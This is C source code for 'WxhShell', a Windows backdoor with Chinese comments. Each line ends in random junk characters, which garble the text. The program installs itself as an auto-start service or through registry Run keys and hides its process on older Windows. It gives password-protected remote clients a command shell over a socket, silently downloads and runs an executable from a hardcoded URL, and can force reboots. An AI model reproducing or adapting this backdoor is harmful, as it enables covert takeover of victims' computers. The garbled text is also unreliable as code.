    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); v3Vve:}+  
    if(Boot(SHUTDOWN)) 3xs<w7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lf5zHUH  
    else { i;^lh]u  
    closesocket(wsh); Gb `)d  
    ExitThread(0); S2'ai  
    } (_e[CqFu  
    break; vlkw Wm  
    } $8eiifj  
  // 获取shell =|E "  
  case 's': { &wK:R,~x6  
    CmdShell(wsh); {UP[iw$~  
    closesocket(wsh); gW~T{+f  
    ExitThread(0); 68u?}8}  
    break; A|f6H6UUx  
  } hxL?6mhY  
  // 退出 b:F;6X0~Hl  
  case 'x': { 59)w+AW  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &f. |MNz;  
    CloseIt(wsh); 3Y38l P:>h  
    break; rq3f/_#L!O  
    } O^~IY/[  
  // 离开 L3Y,z3/  
  case 'q': { 7o+L  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3XQa%|N(  
    closesocket(wsh); b V  EJ  
    WSACleanup(); %RV81H9B  
    exit(1); 2QaE&8vW  
    break; ~_EDJp1J  
        } y`n?f|nf  
  } o:QL%J{[  
  } n%F _ 3`  
,K,st+s|  
  // 提示信息 s>6h]H  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jXA/G%:[  
} uluAqDz`  
  } pCIS8 2L  
0R)x"4Ww  
  return; Yg.[R] UC  
} HZ'rM5Kq  
F@Sk=l(  
// shell模块句柄 z<55[~3  
int CmdShell(SOCKET sock) TbD  
{ =8 @DYz'  
STARTUPINFO si; N[W#wYbH  
ZeroMemory(&si,sizeof(si)); 0C :8X   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =|i_T%a  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j ^j"w(a  
PROCESS_INFORMATION ProcessInfo; ly` A,dh  
char cmdline[]="cmd"; {V>F69IU  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _" 9 q(1  
  return 0; &233QRYM  
} M6p\QKi  
9 o,` peH  
// 自身启动模式 o+.L@3RT4  
int StartFromService(void) bI ;I<Qa  
{ MBt\"b#t  
typedef struct &'fER-  
{ ( /I6Wa  
  DWORD ExitStatus; L/jaUt[,  
  DWORD PebBaseAddress; ExtC\(X;  
  DWORD AffinityMask; P0}B&B/a:  
  DWORD BasePriority; .hx(9  
  ULONG UniqueProcessId; E \/[hT  
  ULONG InheritedFromUniqueProcessId; #[jS&rr(  
}   PROCESS_BASIC_INFORMATION; 4x)vy -y  
1+*sEIC"  
PROCNTQSIP NtQueryInformationProcess; 5/nL[4Z  
2ul8]=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &6 s&nx  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )$S=iL8(  
![B|Nxq}@  
  HANDLE             hProcess; rNV3-#kU  
  PROCESS_BASIC_INFORMATION pbi; 5c::U=  
< ?B3^z$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hdw.S`~}%  
  if(NULL == hInst ) return 0; #l}Fk)dj  
l jK?2z>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W2X`%Tx0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "Y<;R+z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qj~=qV0p  
OS#aYER~/  
  if (!NtQueryInformationProcess) return 0; 7vZO;FGtG  
F6sQeU  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FQO=}0Hl  
  if(!hProcess) return 0; Sa<(F[p`  
=.8n K y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gra6&&^"  
bX2BEa8<"  
  CloseHandle(hProcess); `D%i`"~Lf&  
I^A>YJW  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ZXs,TaU  
if(hProcess==NULL) return 0; crv#IC2  
.;7V]B1o  
HMODULE hMod; GU> j8.  
char procName[255]; :7LA/j  
unsigned long cbNeeded; m?Y-1!E0  
~RVlc;W  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); < +*  
=,zB|sjn  
  CloseHandle(hProcess); PMTrG78p*  
Kfb(wW  
if(strstr(procName,"services")) return 1; // 以服务启动 (UkDww_!  
hiVa\s  
  return 0; // 注册表启动 ({rcH.:  
} K@=u F 1?  
UY9*)pEE  
// 主模块 1,=:an  
int StartWxhshell(LPSTR lpCmdLine) )zO|m7  
{ 8F>9CO:&N  
  SOCKET wsl; a%c <3'  
BOOL val=TRUE; ^^}htg  
  int port=0; 7NRa&W2  
  struct sockaddr_in door; Zocuc"j  
XFoSGqD  
  if(wscfg.ws_autoins) Install(); /#T{0GBXe  
kHr-UJ!  
port=atoi(lpCmdLine); r4P%.YO+X  
(.=Y_g.  
if(port<=0) port=wscfg.ws_port; R5e[cC8o.  
l/(~Kf9eQG  
  WSADATA data; C<teZz8/w  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fSd|6iFH  
\h'7[vkr  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =b*GV6b  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h'S0XU ;  
  door.sin_family = AF_INET; &v0]{)PO  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); < xeB9  
  door.sin_port = htons(port); "Q+wO+}6  
~/A2 :}Cp=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { NpGi3>5  
closesocket(wsl); 8B-PsS|'  
return 1; EE]xZz>o  
} ?<.a>"!  
$s=` {vv  
  if(listen(wsl,2) == INVALID_SOCKET) { h{7>>  
closesocket(wsl); XE_Lz2H`  
return 1; EXeV @kg  
} #akJhy@m$  
  Wxhshell(wsl); Xbmsq,*]  
  WSACleanup(); M{orw;1Isy  
yHE\Q  
return 0; j xI;clr  
Ju#j%!  
} rF[-4t %  
c*\i%I#f2  
// 以NT服务方式启动 j7E;\AZ^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) GmNCw5F  
{ e~gNGr]L/  
DWORD   status = 0; ^`#7(S)a/  
  DWORD   specificError = 0xfffffff; Y.I~.66s  
q 1xSylE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;iYCeL(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .BxQF  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3}V (8  
  serviceStatus.dwWin32ExitCode     = 0; <;#gcF[7>  
  serviceStatus.dwServiceSpecificExitCode = 0; Qa/1*Mb  
  serviceStatus.dwCheckPoint       = 0; Da)p%E>Q  
  serviceStatus.dwWaitHint       = 0; #@-dT,t  
$W}:,]hoj  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); JcYY*p  
  if (hServiceStatusHandle==0) return; #QsJr_=  
{.oz^~zs]g  
status = GetLastError(); D8! Y0  
  if (status!=NO_ERROR) +pSo(e(  
{ !otseI!!/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >a*dI_XE  
    serviceStatus.dwCheckPoint       = 0; M*n94L=Sg&  
    serviceStatus.dwWaitHint       = 0; ;\}d QsX  
    serviceStatus.dwWin32ExitCode     = status; }>AA[ba"'  
    serviceStatus.dwServiceSpecificExitCode = specificError; VTR4uT-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); v(0ujfSR0  
    return; au19Q*r9  
  } cg^~P-i@*  
"4xo,JUf  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .= ~2"P  
  serviceStatus.dwCheckPoint       = 0; =/j!S|P  
  serviceStatus.dwWaitHint       = 0; TR*vZzoy  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0J[B3JO@M  
} oMYFfnoAa  
ZYY~A_C  
// 处理NT服务事件,比如:启动、停止 ye(av&Hn  
VOID WINAPI NTServiceHandler(DWORD fdwControl) h3E}Sa(MQ:  
{ IHCxM|/k(M  
switch(fdwControl) OR+_s @Yg  
{ MV3K'<Y  
case SERVICE_CONTROL_STOP: kLF3s#k  
  serviceStatus.dwWin32ExitCode = 0; s+_8U}R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 78:x{1nUM[  
  serviceStatus.dwCheckPoint   = 0; UxB3/!<5g3  
  serviceStatus.dwWaitHint     = 0; 9G6ZKqum  
  { ^PE|BCs  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (qR;6l  
  } \;_tXb}F  
  return; L;g2ZoqIr0  
case SERVICE_CONTROL_PAUSE: ^-Arfm%dn  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )(.g~Q:  
  break; 8cvSA&l(D  
case SERVICE_CONTROL_CONTINUE: 0iC5,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1,zc8>M  
  break; -#;ZZ \fdj  
case SERVICE_CONTROL_INTERROGATE: %L)QTv/  
  break; BE&8E\w  
}; *1-0s*T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HD{u#~8{  
} dg*xo9Xi`  
EJz!#f~  
// 标准应用程序主函数 . WJ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q~ Nq5[  
{ R$IsP,Uw  
e\aW~zs 2  
// 获取操作系统版本 ;B2&#kot7  
OsIsNt=GetOsVer(); rFt +Y})  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ro?.w  
S{ F\_'%  
  // 从命令行安装 [V8^}s}tF  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^; U}HAY  
)#4(4 @R h  
  // 下载执行文件 v5 p`=Z@%  
if(wscfg.ws_downexe) { (p' /a.bn  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z*b|N45O  
  WinExec(wscfg.ws_filenam,SW_HIDE); wZCboQ,  
} Fsq)co  
Jb9 @U /<\  
if(!OsIsNt) { ~ [/jk !G  
// 如果时win9x,隐藏进程并且设置为注册表启动 h7.jWJTo  
HideProc(); u f<%!=e  
StartWxhshell(lpCmdLine); W:j9KhvT  
} F#Pn]  
else ">8oF.A^  
  if(StartFromService()) Je"XIhBr  
  // 以服务方式启动 :qR8 e J  
  StartServiceCtrlDispatcher(DispatchTable); dR>$vbjh1Z  
else gyy}-^`F  
  // 普通方式启动 j5n"LC+oz  
  StartWxhshell(lpCmdLine); )BaGY  
J^DyhCs  
return 0; A? jaS9 &)  
} :.BjJ2[S  
pE+:tMH;  
H,EZ% Gl  
afaQb  
=========================================== ??#EG{{  
/18fpH|  
2RqV\Jik  
XmVst*2=  
`z/ p,. u  
.!2 u#A  
" R vU'8Y?>w  
DBu8}2R  
#include <stdio.h> (?7}\B\  
#include <string.h>  -y_q  
#include <windows.h> 6r%i=z  
#include <winsock2.h>  Hi\z-P-  
#include <winsvc.h> c":2<:D&  
#include <urlmon.h> .W;cz8te  
`x#}co  
#pragma comment (lib, "Ws2_32.lib") Xa"I  
#pragma comment (lib, "urlmon.lib") C[ KMaB  
&0ymAf5R  
#define MAX_USER   100 // 最大客户端连接数 ~EQ# %db  
#define BUF_SOCK   200 // sock buffer X$t!g`  
#define KEY_BUFF   255 // 输入 buffer \ ux {J  
|Q%nnN  
#define REBOOT     0   // 重启 f/.f08  
#define SHUTDOWN   1   // 关机 !)J$f _88D  
FL$S_JAw  
#define DEF_PORT   5000 // 监听端口 1B 0[dK2N  
n#?y;Y\  
#define REG_LEN     16   // 注册表键长度 *[jq&  
#define SVC_LEN     80   // NT服务名长度 ns/*WH&[x  
V=>]&95-f  
// 从dll定义API ?%Q=l;W.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); s nNd7v.U6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3:sx%Ci/2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  0,#n_"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); a>Aq/=  
weGsjy(b]N  
// wxhshell配置信息 \7o7~pll  
struct WSCFG { >G[:Q s  
  int ws_port;         // 监听端口 %\'G2  
  char ws_passstr[REG_LEN]; // 口令  l]   
  int ws_autoins;       // 安装标记, 1=yes 0=no L&|^y8  
  char ws_regname[REG_LEN]; // 注册表键名 `6NcE-oJ  
  char ws_svcname[REG_LEN]; // 服务名 EuVA"~PA  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *|6vCR  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 j39"iAn  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 u?z,Vs"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =yJV8%pa  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" va#].4_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Nd;pkssd  
]_L;AD  
}; SFEDR?s   
(A?w|/bZd  
// default Wxhshell configuration 0}:Wh&g  
struct WSCFG wscfg={DEF_PORT, k0b6X5  
    "xuhuanlingzhe", /;y`6WG%2  
    1, S]e;p\8$Z  
    "Wxhshell", ( Y Z2&  
    "Wxhshell", S,Qa\\~z  
            "WxhShell Service", qsQTJlq)  
    "Wrsky Windows CmdShell Service", ][8`}ki 1  
    "Please Input Your Password: ", Vhn Ir#L+  
  1, {?cF2K#  
  "http://www.wrsky.com/wxhshell.exe", x'Nc}  
  "Wxhshell.exe" (enOj0  
    }; %bG\  
?ZhBS3L  
// 消息定义模块 TOvsW<cM  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; nF,zWr[x  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ),%@X  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; mSEX?so=[  
char *msg_ws_ext="\n\rExit."; LS-_GslE7\  
char *msg_ws_end="\n\rQuit."; ['6Sq@c)  
char *msg_ws_boot="\n\rReboot..."; NUuIhB+  
char *msg_ws_poff="\n\rShutdown..."; M,r8 No  
char *msg_ws_down="\n\rSave to "; u@Z6)r'  
G]Im.x3O-  
char *msg_ws_err="\n\rErr!"; tp\d:4~R  
char *msg_ws_ok="\n\rOK!"; hfvC-f97L  
au+:-Khm  
char ExeFile[MAX_PATH]; ]% G#x  
int nUser = 0; Psf{~ (Ii  
HANDLE handles[MAX_USER]; zCS }i_ p  
int OsIsNt; cw_B^f8^  
x%dVD  
SERVICE_STATUS       serviceStatus; 3r?T|>|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3n_t^=  
,RAP_I!_x  
// 函数声明 a]8W32  
int Install(void); XHJ/211  
int Uninstall(void); 6jov8GIAt  
int DownloadFile(char *sURL, SOCKET wsh); J0t_wM Ja  
int Boot(int flag); *~UK5Brf1  
void HideProc(void); 4jVd  
int GetOsVer(void); 3]&le[.  
int Wxhshell(SOCKET wsl); `0 W+(9}  
void TalkWithClient(void *cs); $9 G".T  
int CmdShell(SOCKET sock); UnZc9 6  
int StartFromService(void); W yP]]I.  
int StartWxhshell(LPSTR lpCmdLine); zTn.#-7y  
--vJR/-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +5:9?&lH  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }JUc!cH8z  
,OkI0[  
// 数据结构和表定义 GN+,9  
SERVICE_TABLE_ENTRY DispatchTable[] = n (Um/  
{ _Qb ].~  
{wscfg.ws_svcname, NTServiceMain}, lI9|"^n7F  
{NULL, NULL} ZV-Yq !|t  
}; ,L\KS^>  
9S5C{~P4  
// 自我安装 O4^' H}*  
int Install(void) JFkx=![  
{ )[E7\pc  
  char svExeFile[MAX_PATH];  ftV~!r  
  HKEY key; @,]$FBT"5  
  strcpy(svExeFile,ExeFile); D3+<16[,  
+}f}!h;  
// 如果是win9x系统,修改注册表设为自启动 ^*,?x  
if(!OsIsNt) { J8&0l&~ 6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pT:6A[&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T9>,Mx%D[  
  RegCloseKey(key); 4Ub7T=LG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { raR=k!3i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7?uIl9Vk>(  
  RegCloseKey(key); HeHo?<>|d  
  return 0; :?)q"hE  
    } H[?l)nZ}  
  } anH]]  
} Q 9<i2H  
else { :v E\r#hJ"  
"(p&Oz  
// 如果是NT以上系统,安装为系统服务 fz+dOIU3\L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )qDV3   
if (schSCManager!=0) 6ziBGU#.-  
{ [E qZj/  
  SC_HANDLE schService = CreateService ?]_A~_J!  
  ( - G=doP0  
  schSCManager, 7Ewq'Vu`y  
  wscfg.ws_svcname, *M6j)jqV  
  wscfg.ws_svcdisp, 7aHP;X~0  
  SERVICE_ALL_ACCESS, )s ?Hkn  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |tFg9RT  
  SERVICE_AUTO_START, 1E$^ul-v  
  SERVICE_ERROR_NORMAL, V'l9fj*E  
  svExeFile, "Q[?W( SA  
  NULL, ;F /w&u.n  
  NULL, @M(+YCi:e@  
  NULL, ~yY5pnJ  
  NULL, {w v{"*Q9Q  
  NULL UrdSo"%  
  ); ERfSJ  
  if (schService!=0) -Y>QKS  
  { ;jmT5XzL  
  CloseServiceHandle(schService); #*"I?B/fd8  
  CloseServiceHandle(schSCManager); 8HWEObRY  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); K/!>[d  
  strcat(svExeFile,wscfg.ws_svcname); 3AcDW6x|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { EB p(^r j  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2=n,{rkmj%  
  RegCloseKey(key); $N4i)>&T2  
  return 0; cM=_i{c  
    } TTSq}sb}  
  } Ge*N%=MX 8  
  CloseServiceHandle(schSCManager); 4B-+DH>{6  
} y# IUDnRJ  
} CmtDfE  
[tJp^?6*  
return 1; 6^z):d#u  
} xv_Z$&9e>l  
]ia{N  
// 自我卸载 io7Zv*&T0  
int Uninstall(void) T ?{F7  
{ YcM 0A~<  
  HKEY key; m3`J9f,c/  
9#\oGzDN  
if(!OsIsNt) { ~@D{&7@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iMF-TR  
  RegDeleteValue(key,wscfg.ws_regname); w#>CYP`0k6  
  RegCloseKey(key); 7C~g?1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $T*g@]   
  RegDeleteValue(key,wscfg.ws_regname); 8 HD I]  
  RegCloseKey(key); ^B(:Hv}G(:  
  return 0; YF)c.Q0  
  } oox;8d4}y  
} ezhK[/E=  
} }t1J`+x%  
else { ({h W  
Ka8Bed3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); KY9@2JG  
if (schSCManager!=0) &hIr@Gi@ch  
{ -8sB\E  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _TVKvRh  
  if (schService!=0) if+97^Oy  
  { b2hXFwPe  
  if(DeleteService(schService)!=0) { C=DC g  
  CloseServiceHandle(schService); .s3y^1C  
  CloseServiceHandle(schSCManager); E~`<n]{G-C  
  return 0; LC0g"{M  
  } ]KQBek#DD  
  CloseServiceHandle(schService); ]fU0;jzX  
  } ,veI'WHMB  
  CloseServiceHandle(schSCManager); Bv^5L>JZ/  
} .Q DeS|l  
} P5Pb2|\*  
Y58et9gRO  
return 1; f}Uf* Bp  
} !eD f}~  
}IV=qW,  
// 从指定url下载文件 AL[,&_&uV  
int DownloadFile(char *sURL, SOCKET wsh) 8/W2;>?wKc  
{ [f`7+RHrd  
  HRESULT hr; ;_A?Zl}  
char seps[]= "/"; et@<MU@ `  
char *token; o AM)<#U>  
char *file; P"Y7N?\](  
char myURL[MAX_PATH]; >'&|{s[m  
char myFILE[MAX_PATH]; ;x-]1xx_  
 $kY ]HI  
strcpy(myURL,sURL); +\25ynM  
  token=strtok(myURL,seps); {0\9HI@  
  while(token!=NULL) jR^_1bu  
  { 1-8 G2e  
    file=token; *NoixV1>  
  token=strtok(NULL,seps); )_1;mc8B  
  } +.66Ky`|[  
WdTia o,r  
GetCurrentDirectory(MAX_PATH,myFILE); Z (C0+A\  
strcat(myFILE, "\\"); bfKF6  
strcat(myFILE, file); GNoUn7Y  
  send(wsh,myFILE,strlen(myFILE),0); u X+ YH  
send(wsh,"...",3,0); 8]l(D  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \s,~|0_V  
  if(hr==S_OK) v=E(U4v9e  
return 0; 7K /quJ  
else vm8ER,IW)  
return 1; C]ef `5NR]  
??,/85lM  
} VB}^&{t)!  
`4a9<bG  
// 系统电源模块 Ko %e#q-  
int Boot(int flag) Si-Q'*Y=  
{ fmv,)UP  
  HANDLE hToken; =8Gpov1!V~  
  TOKEN_PRIVILEGES tkp; c6MMI]+8  
WL}XD Kx  
  if(OsIsNt) { B<&g  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `5MK(K :  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); U,Z7n H3_  
    tkp.PrivilegeCount = 1; p4z thdN[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; D[3QQT7c  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &Yd6w}8  
if(flag==REBOOT) { S X[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) r)[Xzn   
  return 0; Uh3N#O  
} @$5= 4HA  
else { 1i;#cIG  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) X1^Q1?0  
  return 0; !PJp()  
} M,oRi;V  
  } C{]1+eL  
  else { KDLrt  
if(flag==REBOOT) { O+ xzM[[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) PySFhb@  
  return 0; yMJ(Sf  
} =!DpWVsQ  
else { -BEd7@?A  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xtzkgb,0[  
  return 0; Ui`#B  
} >lF@M-  
} ricL.[v9S  
!twYjOryH[  
return 1; N;i\.oY  
} /NQ PTr  
=JN{j2xY  
// win9x进程隐藏模块 UZJ#/x5F  
void HideProc(void) +3]V>Mv  
{ ln_[@K[oX  
a.fdCI]%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); '8;'V%[+  
  if ( hKernel != NULL ) Pdk#"H-j  
  { k;jXVa  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Qn)AS1pL+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &A~hM[-  
    FreeLibrary(hKernel); hY|-l%2f  
  } e;9x%kNs!  
Mt&n|']`8  
return; @nIoIz D~  
} 8+8L'Yv;  
!EGpI@  
// 获取操作系统版本 E_Fm5zb?X  
int GetOsVer(void) K7wU tg  
{ ?vQ:z{BO  
  OSVERSIONINFO winfo; ZNJ<@K-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;3+_aoY  
  GetVersionEx(&winfo); Hd_,`W@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =4gPoS  
  return 1; |2Uw8M7.E  
  else 3e)$<e  
  return 0; {2U3   
} Gyb|{G_  
bfI= =  
// 客户端句柄模块 >{>X.I~  
int Wxhshell(SOCKET wsl) SZ~lCdWad  
{ 3zMaHh)mj  
  SOCKET wsh; )C0d*T0i  
  struct sockaddr_in client; J>1%* Tz  
  DWORD myID; O"J"H2}S  
^ LVKXr  
  while(nUser<MAX_USER) XC4wm#R  
{  huvn_  
  int nSize=sizeof(client); rTim1<IXR  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H{1'- wB  
  if(wsh==INVALID_SOCKET) return 1; _}tPtHPa/  
B(Er/\-@U  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); HJt '@t=Ak  
if(handles[nUser]==0) 6xx(o  
  closesocket(wsh); }H|'W[Q.  
else F12$BK DH  
  nUser++; |qpFR)l  
  } .TNGiUzG  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); lLLPvW[Q  
WG +]  
  return 0; ~bz$]o-<  
} 9K-,#a  
RV%)~S@!R  
// 关闭 socket sW76RKX8  
void CloseIt(SOCKET wsh) ? 0+N  
{ svtqX-Vj"  
closesocket(wsh); F:8@ ]tA&  
nUser--; Q+s2S>U{v  
ExitThread(0); AOe f1^S=  
} eu'~(_2  
ahFK^ #s  
// 客户端请求句柄 <MoyL1=  
void TalkWithClient(void *cs) ijKQ`}JA  
{ S_38U  
]d.e(yCuE  
  SOCKET wsh=(SOCKET)cs; (6&"(}Pai  
  char pwd[SVC_LEN]; g @NwW&  
  char cmd[KEY_BUFF]; w!-MMT4y  
char chr[1]; C9*[/|T  
int i,j; ,h<x Y>  
pUa\YO1J  
  while (nUser < MAX_USER) { Y++n0sK5<  
ll*Ez"  
if(wscfg.ws_passstr) { }:(;mW8 D  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z>)lp$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `nY.&YT  
  //ZeroMemory(pwd,KEY_BUFF); >X*Y jv:r  
      i=0; \{v-Xe&d^  
  while(i<SVC_LEN) { lv+: `   
Adgfo)X5  
  // 设置超时 ^DVryeLD  
  fd_set FdRead; e$E>6Ngsr  
  struct timeval TimeOut; #Y'ewu;qJ  
  FD_ZERO(&FdRead); p-H}NQ\  
  FD_SET(wsh,&FdRead); T[MDjhv'  
  TimeOut.tv_sec=8; tToP7q^  
  TimeOut.tv_usec=0; \UZ7_\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); O`T_'.Lk  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^fmuBe}d{  
$i1:--~2\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z+=-)&L  
  pwd=chr[0]; ~i!I6d~  
  if(chr[0]==0xd || chr[0]==0xa) { }$LnjwM;,  
  pwd=0; dVZ~n4  
  break; KyBtt47\  
  } 8Wgzca Q*  
  i++; tJmy}.t1  
    } uvJ&qd8M  
dA<_`GFR  
  // 如果是非法用户,关闭 socket JL>DRIR%NV  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %,e,KcP'  
} _7~q|  
x=kJl GT  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); z m]R76  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {a15s6'd  
@!^Y_q  
while(1) { $k`j";8uR  
5 ed|]LP  
  ZeroMemory(cmd,KEY_BUFF); Uyxn+j 5  
ZrB(!L~7  
      // 自动支持客户端 telnet标准   >< VUly  
  j=0; _&S;*?K.  
  while(j<KEY_BUFF) { rV} 5&N*c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C_yNSD  
  cmd[j]=chr[0]; oDayfyy4y)  
  if(chr[0]==0xa || chr[0]==0xd) { .&I!2F  
  cmd[j]=0; b_7LSp  
  break; ~(B%E'  
  } "=LeHY=9  
  j++; W }v ,6Oe  
    } c'mg=jH  
)0g!lCfb  
  // 下载文件 `gyk e2n  
  if(strstr(cmd,"http://")) { /F6"uZSt4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5K-,k^T}  
  if(DownloadFile(cmd,wsh)) *Uy;P>8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); WD! " $  
  else f4&;l|R0a  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yYSoJqj Q  
  } <{@D^L6h  
